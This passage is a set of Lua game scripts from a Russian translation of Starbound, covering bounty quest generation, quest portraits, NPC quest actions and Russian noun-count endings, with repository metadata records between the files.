local steps = {}\n local merge = {}\n\n function stepMerge(questId, step)\n return {\n from = questId,\n questParameters = step.questParameters,\n coordinate = step.coordinate,\n locations = step.locations,\n spawns = step.spawns,\n text = step.text,\n clueType = step.clueType,\n password = step.password,\n }\n end\n\n local edge\n local prevQuestId\n while true do\n edge = self:pickEdge(fromStep, toStep and toStep.name, toStep and toStep.clueType, prevQuestId, previousSteps)\n if not edge then\n return nil\n end\n if edge.next and toStep then\n edge.next.questId = toStep.questId\n end\n\n if toStep then\n table.insert(merge, 1, stepMerge(toStep.questId, edge.prev))\n\n if edge.next then\n table.insert(toStep.merge, 1, stepMerge(edge.prev.questId, edge.next))\n end\n end\n\n requirePrev = nil\n -- If edge calls for inserting a mid quest\n if edge.mid then\n -- generate steps from the mid quest to the end quest\n prevQuestId = edge.prev.questId\n steps = self:generateStepsTo(toStep, edge.mid, previousSteps)\n if steps == nil then\n error(string.format(\"Failed to insert mid steps, no chain from %s to %s available\", toStep.name, edge.next.step))\n end\n\n -- next find a new edge from the first step the mid step in the next iteration of the loop\n previousSteps = util.mergeLists(steps, previousSteps)\n fromStep = edge.prev\n toStep = steps[1]\n toClueType = edge.mid.clueType\n\n -- merge mid parameters\n table.insert(toStep.merge, 1, stepMerge(prevQuestId, edge.mid))\n else\n break\n end\n end\n\n table.insert(steps, 1, {\n name = edge.prev.step,\n questId = edge.prev.questId,\n clueType = edge.prev.clueType,\n merge = merge\n })\n return steps\nend\n\n-- takes generated quest chain steps, returns quest arc\n-- handles merging of parameters, finding worlds, and generating text\nfunction BountyGenerator:processSteps(steps, bounty, planetPool)\n local coordinateConfigs = {}\n local coordinates = {}\n local locations = {}\n local spawns = {}\n local systemSpawns = {}\n local passwords = {}\n\n local usedCoordinates = {} -- keep track of used coordinates to return with steps\n\n -- create coordinate, location, and spawn parameter tables for each step\n for _,step in pairs(steps) do\n local stepConfig = copy(self.config.steps[step.name])\n step.questParameters = stepConfig.questParameters or {}\n coordinateConfigs[step.questId] = stepConfig.coordinate or {}\n locations[step.questId] = stepConfig.locations or {}\n spawns[step.questId] = stepConfig.spawns or {}\n systemSpawns[step.questId] = stepConfig.systemSpawn or nil\n end\n\n -- Apply parameters from edges to the steps\n for _,step in pairs(steps) do\n for _,merge in pairs(step.merge) do\n step.questParameters = sb.jsonMerge(step.questParameters, merge.questParameters)\n\n local rhs = merge.coordinate or {}\n local lhs = coordinateConfigs[step.questId] or {}\n if rhs.type == \"previous\" then\n coordinateConfigs[step.questId] = {\n type = \"previous\",\n previousQuest = merge.from,\n questParameter = rhs.questParameter\n }\n else\n coordinateConfigs[step.questId] = sb.jsonMerge(lhs, rhs)\n end\n\n for k,rhs in pairs(merge.locations or {}) do\n local lhs = locations[step.questId][k] or {}\n if rhs.type == \"previous\" then\n -- Set location for this step to the previous location\n locations[step.questId][k] = {\n type = \"previous\",\n previousQuest = merge.from,\n previousLocation = rhs.previousLocation,\n }\n else\n locations[step.questId][k] = sb.jsonMerge(lhs, rhs)\n end\n end\n\n for k,rhs in pairs(merge.spawns or {}) do\n local lhs = spawns[step.questId][k] or {}\n if rhs.type == \"otherStep\" then\n rhs = {\n type = \"otherQuest\",\n spawn = rhs.spawn,\n location = rhs.location,\n questId = merge.from\n }\n end\n spawns[step.questId][k] = sb.jsonMerge(lhs, rhs)\n end\n\n if merge.password then\n if merge.password == \"previous\" then\n passwords[step.questId] = {\n type = \"previous\",\n step = merge.from\n }\n elseif merge.password == \"generate\" then\n passwords[step.questId] = {\n type = \"generate\"\n }\n end\n end\n\n step.clueType = step.clueType or merge.clueType\n step.text = sb.jsonMerge(step.text, merge.text or {})\n end\n end\n\n -- Generate quest parameters from step parameters\n for i,step in pairs(steps) do\n local lastQuestId = steps[i-1] and steps[i-1].questId\n if lastQuestId then\n while coordinateConfigs[lastQuestId].type == \"previous\" do\n lastQuestId = coordinateConfigs[lastQuestId].previousQuest\n end\n end\n\n local coordinateConfig = coordinateConfigs[step.questId]\n if coordinateConfig.type == \"world\" then\n local worldIndex = 1\n if coordinateConfig.prevSystem then\n local s = coordinateSystem(coordinates[lastQuestId])\n for i, w in ipairs(planetPool) do\n if compare(coordinateSystem(w), s) then\n worldIndex = i\n break\n end\n end\n else\n -- try not to place the quest in a previously used system\n local usedSystems = util.map(usedCoordinates, coordinateSystem)\n for i,w in ipairs(planetPool) do\n if not contains(usedSystems, coordinateSystem(w)) then\n worldIndex = i\n break\n end\n end\n end\n local world = table.remove(planetPool, worldIndex)\n if world == nil then\n error(\"Not enough worlds in the planet pool\")\n end\n table.insert(usedCoordinates, world)\n step.questParameters[coordinateConfig.questParameter] = {\n type = \"coordinate\",\n coordinate = world\n }\n coordinates[step.questId] = world\n elseif coordinateConfig.type == \"system\" then\n local system\n if coordinateConfig.prevSystem then\n system = coordinateSystem(coordinates[lastQuestId])\n for i, w in ipairs(planetPool) do\n if compare(coordinateSystem(w), s) then\n worldIndex = i\n break\n end\n end\n else\n local worldIndex = 1\n local usedSystems = util.map(usedCoordinates, coordinateSystem)\n for i,w in ipairs(planetPool) do\n if not contains(usedSystems, coordinateSystem(w)) then\n worldIndex = i\n break\n end\n end\n local world = table.remove(planetPool, 1)\n if world == nil then\n error(\"Not enough worlds in the planet pool to use for system\")\n end\n system = coordinateSystem(world)\n end\n\n table.insert(usedCoordinates, system)\n if self.debug then\n system = celestial.currentSystem()\n end\n step.questParameters[coordinateConfig.questParameter] = {\n type = \"coordinate\",\n coordinate = system\n }\n coordinates[step.questId] = system\n elseif coordinateConfig.type == \"previous\" then\n local coordinate = coordinates[coordinateConfig.previousQuest]\n step.questParameters[coordinateConfig.questParameter] = {\n type = \"coordinate\",\n coordinate = coordinate\n }\n coordinates[step.questId] = coordinate\n end\n\n for k,locationConfig in pairs(locations[step.questId]) do\n step.questParameters.locations = step.questParameters.locations or {\n type = \"json\",\n locations = {}\n }\n local worldTags = {\n questId = step.questId,\n threatLevel = self.level,\n }\n local worldId = locationConfig.worldId and sb.replaceTags(locationConfig.worldId, worldTags)\n if locationConfig.type == \"dungeon\" then\n step.questParameters.locations.locations[k] = {\n type = \"dungeon\",\n tags = locationConfig.tags,\n biome = celestialWrap.visitableParameters(coordinates[step.questId]).primaryBiome,\n worldId = worldId\n }\n elseif locationConfig.type == \"stagehand\" then\n step.questParameters.locations.locations[k] = {\n type = \"stagehand\",\n stagehand = locationConfig.stagehand,\n worldId = worldId\n }\n elseif locationConfig.type == \"previous\" then\n step.questParameters.locations.locations[k] = {\n type = \"previous\",\n quest = locationConfig.previousQuest,\n location = locationConfig.previousLocation,\n }\n else\n error(string.format(\"Unable to produce quest parameter for location type '%s'\", locationConfig.type))\n end\n end\n\n -- generate passwords before spawns that may use them\n local codeConfig = passwords[step.questId]\n if codeConfig then\n local code\n if codeConfig.type == \"generate\" then\n code = util.weightedRandom(self.config.passwords, self.rand:randu64())\n if code == \"random\" then\n code = string.format(\"%04d\", self.rand:randInt(0, 9999))\n end\n elseif codeConfig.type == \"previous\" then\n while (type(codeConfig) == \"table\" and codeConfig.type == \"previous\") do\n codeConfig = passwords[codeConfig.step]\n end\n code = codeConfig\n end\n passwords[step.questId] = code\n end\n\n for k,spawnConfig in pairs(spawns[step.questId]) do\n step.questParameters.spawns = step.questParameters.spawns or {\n type = \"json\",\n spawns = {}\n }\n\n if spawnConfig.type == \"clueNpc\" or spawnConfig.type == \"clueBounty\" then\n local clueConfig\n local spawnType\n if spawnConfig.type == \"clueNpc\" then\n clueConfig = root.assetJson(\"/quests/bounty/clue_npcs.config\")\n spawnType = \"npc\"\n elseif spawnConfig.type == \"clueBounty\" then\n clueConfig = root.assetJson(\"/quests/bounty/clue_bounties.config\")\n spawnType = \"bounty\"\n end\n -- Get clue NPC types that support the clue type\n local names = util.filter(util.orderedKeys(clueConfig), function(name)\n return clueConfig[name].clues[step.clueType] ~= nil\n end)\n if #names == 0 then\n error(string.format(\"No clue NPC of type %s found with clue type %s\", spawnType, step.clueType))\n end\n clueConfig = clueConfig[util.randomFromList(names, self.rand)] -- random clue NPC\n spawnConfig = {\n type = spawnType,\n stagehand = spawnConfig.stagehand,\n location = spawnConfig.location,\n useBountyGang = clueConfig.useBountyGang,\n npc = sb.jsonMerge(clueConfig.npc or {}, spawnConfig.npc or {}),\n behaviorOverrides = spawnConfig.behaviorOverrides or clueConfig.behaviorOverrides\n }\n\n step.text = step.text or {}\n local clueMessage = clueConfig.clues[step.clueType].message\n if clueMessage then\n step.text.message = clueMessage\n end\n end\n\n if spawnConfig.type == \"bounty\" then\n if bounty.type == \"npc\" then\n spawnConfig = {\n type = \"npc\",\n location = spawnConfig.location,\n stagehand = spawnConfig.stagehand,\n npc = sb.jsonMerge({\n species = bounty.species,\n typeName = bounty.typeName,\n seed = bounty.seed,\n parameters = bounty.parameters\n }, spawnConfig.npc or {}),\n behaviorOverrides = spawnConfig.behaviorOverrides or bounty.behaviorOverrides\n }\n elseif bounty.type == \"monster\" then\n spawnConfig = {\n type = \"monster\",\n location = spawnConfig.location,\n stagehand = spawnConfig.stagehand,\n monster = bounty.monster\n }\n else\n error(string.format(\"No bounty type '%s'\", bounty.type))\n end\n end\n\n if spawnConfig.type == \"clueItem\" then\n local itemNames = util.filter(util.orderedKeys(self.clueItems), function(itemName)\n return self.clueItems[itemName][step.clueType] ~= nil\n end)\n local itemName = util.randomFromList(itemNames, self.rand)\n local clue = util.randomFromList(self.clueItems[itemName][step.clueType], self.rand)\n\n step.text = step.text or {}\n if clue.message then\n step.text.message = clue.message\n end\n spawnConfig = {\n type = \"item\",\n location = spawnConfig.location,\n stagehand = spawnConfig.stagehand,\n item = {\n name = itemName,\n parameters = sb.jsonMerge(clue.parameters, {\n questId = step.questId\n })\n }\n }\n end\n\n if spawnConfig.type == \"clueObject\" then\n step.questParameters.spawns.spawns[k] = {\n type = \"object\",\n location = spawnConfig.location,\n clueType = step.clueType\n }\n elseif spawnConfig.type == \"clueScan\" then\n step.questParameters.spawns.spawns[k] = {\n type = \"scan\",\n location = spawnConfig.location,\n uuid = sb.makeUuid(),\n clueType = step.clueType\n }\n elseif spawnConfig.type == \"item\" then\n local item = spawnConfig.item\n step.questParameters.spawns.spawns[k] = {\n type = \"item\",\n location = spawnConfig.location,\n stagehand = spawnConfig.stagehand,\n item = item\n }\n elseif spawnConfig.type == \"npc\" then\n -- Generate a bounty target NPC\n local generated\n if spawnConfig.gangMember then\n generated = self:generateGangMember(bounty.gang)\n else\n local gang\n if spawnConfig.useBountyGang then\n gang = bounty.gang\n end\n generated = self:generateBountyNpc(gang)\n end\n spawnConfig.npc = sb.jsonMerge({\n species = generated.species,\n typeName = generated.typeName,\n parameters = generated.parameters,\n level = self.level\n }, spawnConfig.npc)\n\n local behaviorOverrides\n if spawnConfig.behaviorOverrides then\n behaviorOverrides = {\n [step.questId] = spawnConfig.behaviorOverrides\n }\n end\n local spawn = {\n type = \"npc\",\n location = spawnConfig.location,\n stagehand = spawnConfig.stagehand,\n npc = spawnConfig.npc,\n multiple = spawnConfig.multiple,\n behaviorOverrides = behaviorOverrides,\n }\n\n if spawn.behaviorOverrides then\n for _, overrides in pairs(spawn.behaviorOverrides) do\n for _, override in ipairs(overrides) do\n for k,v in pairs(override.behavior.parameters or {}) do\n local tags = {\n questId = step.questId,\n clueType = step.clueType\n }\n if type(v) == \"string\" then\n override.behavior.parameters[k] = v:gsub(\"<([%w.]+)>\", tags)\n end\n end\n end\n end\n end\n\n step.questParameters.spawns.spawns[k] = spawn\n elseif spawnConfig.type == \"stagehand\" then\n step.questParameters.spawns.spawns[k] = {\n type = \"stagehand\",\n location = spawnConfig.location,\n stagehandUniqueId = spawnConfig.stagehandUniqueId or sb.makeUuid()\n }\n elseif spawnConfig.type == \"keypad\" then\n step.questParameters.spawns.spawns[k] = {\n type = \"keypad\",\n skipSteps = spawnConfig.skipSteps,\n location = spawnConfig.location,\n objectType = spawnConfig.objectType,\n password = passwords[step.questId]\n }\n elseif spawnConfig.type == \"otherQuest\" then\n -- pre-emptively spawn a thing that's getting spawned in the next step\n step.questParameters.spawns.spawns[k] = {\n type = \"otherQuest\",\n location = spawnConfig.location,\n spawn = spawnConfig.spawn,\n quest = spawnConfig.questId\n }\n elseif spawnConfig.type == \"monster\" then\n spawnConfig.monster.level = spawnConfig.monster.level or self.level\n step.questParameters.spawns.spawns[k] = {\n type = \"monster\",\n location = spawnConfig.location,\n stagehand = spawnConfig.stagehand,\n monster = spawnConfig.monster\n }\n else\n error(string.format(\"Unable to produce quest parameter for spawn type '%s'\", spawnConfig.type))\n end\n end\n \n local systemSpawn = systemSpawns[step.questId]\n if systemSpawn then\n step.questParameters.systemSpawn = {\n type = \"json\",\n objectType = systemSpawn.objectType,\n uuid = sb.makeUuid(),\n }\n end\n\n local text = step.text or {}\n step.questParameters.text = {\n type = \"json\",\n completeMessage = step.text.message,\n skipMessage = step.text.skipMessage,\n questLog = step.text.questLog\n }\n end\n\n -- Text tag generation\n local questTextTags = {}\n for _,step in pairs(steps) do\n local tags = {\n coordinate = {}\n }\n local coordinateConfig = coordinateConfigs[step.questId]\n while coordinateConfig.type == \"previous\" do\n coordinateConfig = coordinateConfigs[coordinateConfig.previousQuest]\n end\n if coordinateConfig.type == \"world\" then\n tags.coordinate.preposition = \"на планете\"\n elseif coordinateConfig.type == \"system\" then\n tags.coordinate.preposition = \"в системе\"\n else\n --error(string.format(\"No preposition available for coordinate type '%s'\", coordinateConfig.type))\n end\n\n local coordinate = coordinates[step.questId]\n if coordinate then\n tags.coordinate.name = celestialWrap.planetName(coordinate)\n tags.coordinate.systemName = celestialWrap.planetName(coordinateSystem(coordinate))\n end\n\n tags.password = passwords[step.questId]\n\n questTextTags[step.questId] = tags\n end\n\n local textgen = setmetatable({\n config = {},\n parameters = { bounty = copy(bounty) }\n }, QuestTextGenerator)\n local newtags = textgen:generateExtraTags()\n\n -- Link tags between prev/next quests, and add common text tags\n local linkedTextTags = {}\n for i = 1, #steps do\n local step = steps[i]\n local tags = copy(questTextTags[step.questId])\n\n local prevStep = steps[i - 1]\n if prevStep then\n tags.prev = copy(questTextTags[prevStep.questId])\n end\n\n local nextStep = steps[i + 1]\n if nextStep then\n tags.next = copy(questTextTags[nextStep.questId])\n end\n\n tags.bounty = {\n name = bounty.name\n }\n\n for k, v in pairs(newtags) do tags[k] = tags[k] or v end\n\n linkedTextTags[step.questId] = tags\n step.questParameters.text.tags = tags\n end\n\n -- Text tag replacement\n for _,step in pairs(steps) do\n local tags = util.generateTextTags(linkedTextTags[step.questId])\n\n if step.questParameters.spawns then\n for _,spawn in pairs(step.questParameters.spawns.spawns) do\n if spawn.type == \"item\" then\n util.recReplaceTags(spawn.item.parameters or {}, tags)\n end\n end\n end\n\n local text = step.questParameters.text\n if text then\n if text.completeMessage then\n text.completeMessage = text.completeMessage:gsub(\"<([%w.]+)>\", tags)\n end\n if text.skipMessage then\n text.skipMessage = text.skipMessage:gsub(\"<([%w.]+)>\", tags)\n end\n end\n end\n\n local quests = {}\n for _,step in pairs(steps) do\n local stepConfig = self.config.steps[step.name]\n table.insert(quests, {\n questId = step.questId,\n templateId = stepConfig.quest,\n parameters = step.questParameters\n })\n end\n\n return quests, usedCoordinates, newtags\nend\n\n\nfunction BountyGenerator:questArc(steps, bountyTarget, planetPool)\n self.rand = sb.makeRandomSource(self.seed)\n local arc = {\n quests = {},\n stagehandUniqueId = sb.makeUuid()\n }\n\n local lastStep = steps[#steps]\n table.insert(lastStep.merge, {\n questParameters = {\n rewards = {\n type = \"json\",\n money = self.rewards.money,\n rank = self.rewards.rank,\n credits = self.rewards.credits\n }\n }\n })\n\n sb.logInfo(\"Steps: %s\", sb.printJson(util.map(steps, function(s) return s.name end), 1))\n local usedCoordinates, tags\n arc.quests, usedCoordinates, tags = self:processSteps(steps, bountyTarget, planetPool)\n\n local preBountyParameters = {\n portraits = {\n type = \"json\",\n target = self.targetPortrait\n },\n text = {\n type = \"json\",\n tags = {\n coordinate = arc.quests[1].parameters.text.tags.coordinate,\n bounty = {\n name = bountyTarget.name,\n gang = bountyTarget.gang,\n species = bountyTarget.species\n },\n rewards = self.rewards\n }\n }\n }\n\n for k, v in pairs(tags) do\n preBountyParameters.text.tags[k] = preBountyParameters.text.tags[k] or v\n end\n\n table.insert(arc.quests, 1, {\n templateId = self.preBountyQuest,\n questId = sb.makeUuid(),\n parameters = preBountyParameters\n })\n\n return arc, usedCoordinates\nend\n\nfunction BountyGenerator:generateBountyArc(bountyTarget, planetPool)\n self.rand = sb.makeRandomSource(self.seed)\n\n local arc = {\n quests = {},\n stagehandUniqueId = sb.makeUuid()\n }\n local stepCount = 0\n local minStepCount = self.rand:randInt(self.stepCount[1], self.stepCount[2])\n local steps = {}\n while stepCount < minStepCount do\n stepCount = stepCount + 1\n local newSteps = self:generateStepsTo(steps[1], nil, steps)\n if not newSteps then break end\n\n steps = util.mergeLists(newSteps or {}, steps)\n end\n\n bountyTarget = bountyTarget or self:generateBountyNpc()\n return self:questArc(steps, bountyTarget, planetPool)\nend\n\nfunction BountyGenerator:generateMinorBounty(bountyTarget, planetPool)\n self.rand = sb.makeRandomSource(self.seed)\n\n local step = {\n questId = sb.makeUuid(),\n name = util.randomFromList(self.config.minor, self.rand),\n merge = {}\n }\n local steps = { step }\n\n bountyTarget = bountyTarget or self:generateBountyMonster()\n return self:questArc(steps, bountyTarget, planetPool)\nend" }, { "alpha_fraction": 0.6754545569419861, "alphanum_fraction": 0.6754545569419861, "avg_line_length": 25.829267501831055, "blob_id": "d2b6e39927ed4e598dcf3c9e521273bce76a8bd3", "content_id": "1a8567fb517eb95648b69836a0073718ef9a7f10", "detected_licenses": [ "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Lua", "length_bytes": 1103, "license_type": "permissive", "max_line_length": 86, "num_lines": 41, "path": "/translations/others/quests/scripts/portraits.lua", "repo_name": "SBT-community/Starbound_RU", "src_encoding": "UTF-8", "text": "function setPortraits(titleFn)\n quest.setParameter(\"sail\", {\n type = \"noDetail\",\n name = \"К.Э.П\",\n portrait = {\n { image = string.format(\"/ai/portraits/%squestportrait.png\", player.species()) }\n }\n })\n\n local config = config.getParameter(\"portraits\")\n local portraitParameters = {\n QuestStarted = config.questStarted or config.default,\n QuestComplete = config.questComplete or config.default,\n QuestFailed = config.questFailed or config.default,\n Objective = config.objective\n }\n\n local parameters = quest.parameters()\n for portraitName, portrait in pairs(portraitParameters) do\n local drawables\n local title\n\n if type(portrait) == \"string\" then\n local paramValue = parameters[portrait]\n if paramValue then\n drawables = paramValue.portrait\n title = paramValue.name\n end\n else\n drawables = portrait.portrait\n title = portrait.title\n end\n\n if titleFn then\n title = titleFn(title)\n end\n\n quest.setPortrait(portraitName, drawables)\n quest.setPortraitTitle(portraitName, title)\n end\nend\n" }, { "alpha_fraction": 0.6582914590835571, "alphanum_fraction": 0.6633166074752808, "avg_line_length": 29.615385055541992, "blob_id": "425354c9e0b0f1a595caa040687fe04dafb77b14", "content_id": "3c7aac58eb7c4063d5fa29a94c124a9a8546049d", "detected_licenses": [ "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Lua", "length_bytes": 398, "license_type": "permissive", "max_line_length": 83, "num_lines": 13, "path": "/translations/others/quests/bounty/bounty_portraits.lua", "repo_name": "SBT-community/Starbound_RU", "src_encoding": "UTF-8", "text": "function noblePortrait()\n local drawables = root.npcPortrait(\"full\", \"novakid\", \"captainnoble\", 1, 1, {})\n local name = \"Капитан Нобель\"\n return drawables, name\nend\n\nfunction setBountyPortraits()\n local d, n = noblePortrait()\n for _, pType in pairs({\"QuestStarted\", \"QuestComplete\", \"QuestFailed\"}) do\n quest.setPortrait(pType, d)\n quest.setPortraitTitle(pType, n)\n end\nend\n" }, { "alpha_fraction": 0.7326433658599854, "alphanum_fraction": 0.7362368702888489, "avg_line_length": 26.717130661010742, "blob_id": "32828c82b2931b947467116f9b18348b4fb6b014", "content_id": "9e1b64c441be9bc30c10318f99b5195e405c1325", "detected_licenses": [ "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Lua", "length_bytes": 6957, "license_type": "permissive", "max_line_length": 101, "num_lines": 251, "path": "/translations/others/scripts/actions/quests.lua", "repo_name": "SBT-community/Starbound_RU", "src_encoding": "UTF-8", "text": "require(\"/scripts/util.lua\")\nrequire(\"/scripts/actions/dialog.lua\")\nrequire(\"/scripts/quest/paramtext.lua\")\nrequire(\"/scripts/quest/participant.lua\")\nrequire(\"/scripts/questgen/generator.lua\")\nrequire(\"/scripts/quest/text_generation.lua\")\n\n-- param eventName\n-- pararm source can be an EntityId depending on the event, e.g. the player who\n-- interacted with this NPC.\nfunction fireQuestEvent(args, board)\n self.quest:fireEvent(args.eventName, args.source, args.table)\n return true\nend\n\nfunction updateQuestPortrait(args, board)\n local portrait = world.entityPortrait(entity.id(), \"full\")\n self.quest:fireEvent(\"updatePortrait\", portrait)\n return true\nend\n\nfunction cancelQuest(args, board)\n self.quest:cancelQuest()\n return true\nend\n\nfunction questItem(args, board)\n if not args.quest or not args.quest.questId then return false end\n\n local paramValue = self.quest:questParameter(args.quest.questId, args.parameterName)\n if paramValue.type ~= \"item\" then\n return false\n end\n\n local descriptor = paramValue.item\n if type(descriptor) == \"string\" then\n descriptor = { name = descriptor }\n end\n return true, {table = descriptor}\nend\n\nfunction questEntity(args, board)\n if not args.quest or not args.quest.questId then return false end\n\n local paramValue = self.quest:questParameter(args.quest.questId, args.parameterName)\n if paramValue.type ~= \"entity\" or not paramValue.uniqueId then\n return false\n end\n\n local entityId = world.loadUniqueEntity(paramValue.uniqueId)\n if not world.entityExists(entityId) then\n return false\n end\n\n return true, {entity = entityId}\nend\n\nfunction sayQuestDialog(args, board)\n local dialog = root.assetJson(\"/dialog/quest.config:\"..args.dialogType)\n if not dialog then return false end\n dialog = speciesDialog(dialog, args.entityId)\n dialog = staticRandomizeDialog(dialog)\n if not dialog then return false end\n\n local quest = args.quest\n if type(args.quest) == \"table\" and args.quest.questId then\n quest = args.quest.questId\n end\n\n local tags = {}\n if type(quest) == \"string\" then\n local textGenerator = questTextGenerator(self.quest:questDescriptor(quest))\n tags = textGenerator.tags\n end\n\n for tag, value in pairs(args.extraTags) do\n tags[tag] = value\n end\n\n args.tags = tags\n tags = makeTags(args)\n\n npc.say(dialog, tags)\n return true\nend\n\nfunction isGivingQuest(args, board)\n return self.quest.isOfferingQuests\nend\n\nfunction hasQuest(args, board)\n return self.quest:hasQuest()\nend\n\nfunction hasRole(args, board)\n return self.quest:hasRole()\nend\n\nlocal function tooManyQuestsNearby()\n local searchRadius = config.getParameter(\"questGenerator.nearbyQuestRange\", 50)\n local questManagers = 0\n local entities = world.entityQuery(entity.position(), searchRadius)\n for _,entity in pairs(entities) do\n if world.entityName(entity) == \"questgentest\" then\n -- Testing object suppresses automatic quest generation\n return true\n end\n\n if world.entityType(entity) == \"stagehand\" and world.stagehandType(entity) == \"questmanager\" then\n questManagers = questManagers + 1\n end\n end\n\n if questManagers >= config.getParameter(\"questGenerator.nearbyQuestLimit\", 2) then\n return true\n end\n return false\nend\n\nfunction generateNewArc()\n if not self.questGenerator then\n self.questGenerator = QuestGenerator.new()\n end\n self.questGenerator.debug = self.debug or false\n self.questGenerator.abortQuestCallback = tooManyQuestsNearby\n return self.questGenerator:generateStep()\nend\n\nlocal function decideWhetherToGenerateQuest(rolls)\n if not config.getParameter(\"questGenerator.enableParticipation\") then\n return false\n end\n\n if world.getProperty(\"ephemeral\") then\n return false\n end\n\n if self.quest:hasRole() then\n return false\n end\n\n local baseChance = config.getParameter(\"questGenerator.chance\", 0.1)\n -- If we're supposed to make a decision every 30 seconds, and 4 minutes have\n -- passed, we have 8 decisions to make.\n -- 'chance' is equal to the chance of at least one of these decisions (each\n -- with probability 'baseChance') being positive.\n local maxChance = config.getParameter(\"questGenerator.maxBoostedChance\", 0.5)\n local chance = math.min(1.0 - (1.0 - baseChance) ^ rolls, maxChance)\n util.debugLog(\"rolls = %s, baseChance = %s, chance = %s\", rolls, baseChance, chance)\n if chance < math.random() then\n return false\n end\n\n if tooManyQuestsNearby() then\n return false\n end\n\n return true\nend\n\n-- Determine how many times, since the last time we decided whether to generate\n-- a quest, we 'should' have made another decision.\n-- For example, if we're supposed to decide every 30 seconds, and 4 minutes\n-- have elapsed, we should have made 8 rolls (decisions).\nlocal function getDecisionRolls()\n if not storage.lastQuestGenDecisionTime then\n return 1\n end\n local elapsed = world.time() - storage.lastQuestGenDecisionTime\n local period = config.getParameter(\"questGenerator.timeLimit\", 30)\n return math.floor(elapsed / period)\nend\n\nfunction maybeGenerateQuest(args, output)\n if self.quest:hasRole() then\n self.isGeneratingQuest = false\n return false\n end\n\n local rolls = getDecisionRolls()\n if rolls > 0 then\n self.isGeneratingQuest = decideWhetherToGenerateQuest(rolls)\n storage.lastQuestGenDecisionTime = world.time()\n\n if self.isGeneratingQuest then\n util.debugLog(\"Decided to generate a quest.\")\n else\n util.debugLog(\"Decided not to generate a quest.\")\n end\n end\n\n if not self.isGeneratingQuest then\n return false\n end\n\n local arc = generateNewArc()\n if not arc then\n return false\n end\n\n self.isGeneratingQuest = false\n\n local position = entity.position()\n world.spawnStagehand(position, \"questmanager\", {\n uniqueId = arc.questArc.stagehandUniqueId,\n quest = {\n arc = storeQuestArcDescriptor(arc.questArc),\n participants = arc.participants\n },\n plugins = arc.managerPlugins\n })\n return true\nend\n\n-- param quest\n-- param name\n-- output list/number/bool/etc.\nfunction getQuestValue(args, board)\n if not args.quest then return false end\n local questId = args.quest.questId or args.quest\n\n local value = self.quest:getQuestValue(questId, args.name)\n if not value then return false end\n\n return true, {list = value, bool = value, number = value}\nend\n\n-- param quest\n-- param name\n-- param list/number/bool/etc.\nfunction setQuestValue(args, board)\n if not args.quest then return false end\n local questId = args.quest.questId or args.quest\n\n -- always put args.bool last, it can be false\n local value = args.list or args.number or args.bool\n if value == nil then return false end\n\n self.quest:setQuestValue(questId, args.name, value)\n return true\nend\n\n-- param quest\n-- param name\nfunction unsetQuestValue(args, board)\n if not args.quest then return false end\n local questId = args.quest.questId or args.quest\n\n self.quest:setQuestValue(questId, args.name, nil)\n return true\nend\n" }, { "alpha_fraction": 0.6878342032432556, "alphanum_fraction": 0.6885026693344116, "avg_line_length": 28.33333396911621, "blob_id": "0fb2a40138c412ff1a17a1a4e0ca316263f8bc2e", "content_id": "da042c2e741e76008e4a71291b0dc8657e07d6ed", "detected_licenses": [ "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Lua", "length_bytes": 1500, "license_type": "permissive", "max_line_length": 111, "num_lines": 51, "path": "/translations/others/quests/bounty/pre_bounty.lua", "repo_name": "SBT-community/Starbound_RU", "src_encoding": "UTF-8", "text": "require \"/scripts/util.lua\"\nrequire \"/quests/bounty/bounty_portraits.lua\"\n\nfunction init()\n setText()\n\n local params = quest.parameters()\n\n setBountyPortraits()\n\n quest.setPortrait(\"Objective\", params.portraits.target)\n quest.setPortraitTitle(\"Objective\", params.text.tags.bounty.name)\nend\n\nfunction questStart()\n quest.complete()\nend\n\nfunction setText()\n local tags = util.generateTextTags(quest.parameters().text.tags)\n quest.setTitle((\"^orange;Цель: ^green;<bounty.name>\"):gsub(\"<([%w.]+)>\", tags))\n\n local textCons\n for i, q in pairs(quest.questArcDescriptor().quests) do\n local questConfig = root.questConfig(q.templateId).scriptConfig\n local text = \"\"\n if i > 1 then\n text = util.randomFromList(questConfig.generatedText.text.prev or questConfig.generatedText.text.default)\n else\n text = util.randomFromList(questConfig.generatedText.text.default)\n end\n\n local tags = util.generateTextTags(q.parameters.text.tags)\n if textCons then\n textCons = string.format(\"%s\\n\\n%s\", textCons, text:gsub(\"<([%w.]+)>\", tags))\n else\n textCons = text:gsub(\"<([%w.]+)>\", tags)\n end\n if q.questId == quest.questId() then\n if questConfig.generatedText.failureText then\n local failureText = util.randomFromList(questConfig.generatedText.failureText.default)\n failureText = failureText:gsub(\"<([%w.]+)>\", tags)\n quest.setFailureText(failureText)\n end\n\n break\n end\n end\n\n quest.setText(textCons)\nend\n" }, { "alpha_fraction": 0.6721127033233643, "alphanum_fraction": 0.6833803057670593, "avg_line_length": 31.254545211791992, "blob_id": "f1c04e5ca9b4113b4dde93af7b7a0b15afe6f544", "content_id": "76fc970e43fb979842286e5bbc1264f8774fb8fd", "detected_licenses": [ "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Lua", "length_bytes": 1782, "license_type": "permissive", "max_line_length": 87, "num_lines": 55, "path": "/translations/others/scripts/quest/paramtext.lua", "repo_name": "SBT-community/Starbound_RU", "src_encoding": "UTF-8", "text": "require('/scripts/quest/declension.lua')\nfunction itemShortDescription(itemDescriptor)\n return root.itemConfig(itemDescriptor).config.shortdescription or itemDescriptor.name\nend\n\nlocal function getCountEnding(count)\n local residue = math.abs(count) % 100\n if residue > 10 and residue < 20 then return \"\" end\n residue = residue % 10\n if residue == 1 then return \"а\"\n elseif residue > 1 and residue < 5 then return \"и\"\n else return \"\" end\nend\n\nlocal function concatList(itemList)\n local listString = \"\"\n local count = 0\n for item, itemCount in pairs(itemList) do\n if listString ~= \"\" then\n if count > 1 then listString = \"; \" .. listString\n else listString = \" и \" .. listString end\n end\n if itemCount > 1 then\n local thingEnd = getCountEnding(itemCount)\n listString = string.format(\"%s, %s штук%s\", item, itemCount, thingEnd)\n .. listString\n else\n listString = item .. listString\n end\n count = count + 1\n end\n return listString\nend\n\nfunction questParameterItemListTag(paramValue, action)\n assert(paramValue.type == \"itemList\")\n local gender\n local count = 0\n local descriptions = setmetatable({},\n {__index = function(t,k)t[k]={} return t[k] end})\n for _,item in pairs(paramValue.items) do\n local form, mut, immut = detectForm(itemShortDescription(item))\n local phrase = {name = 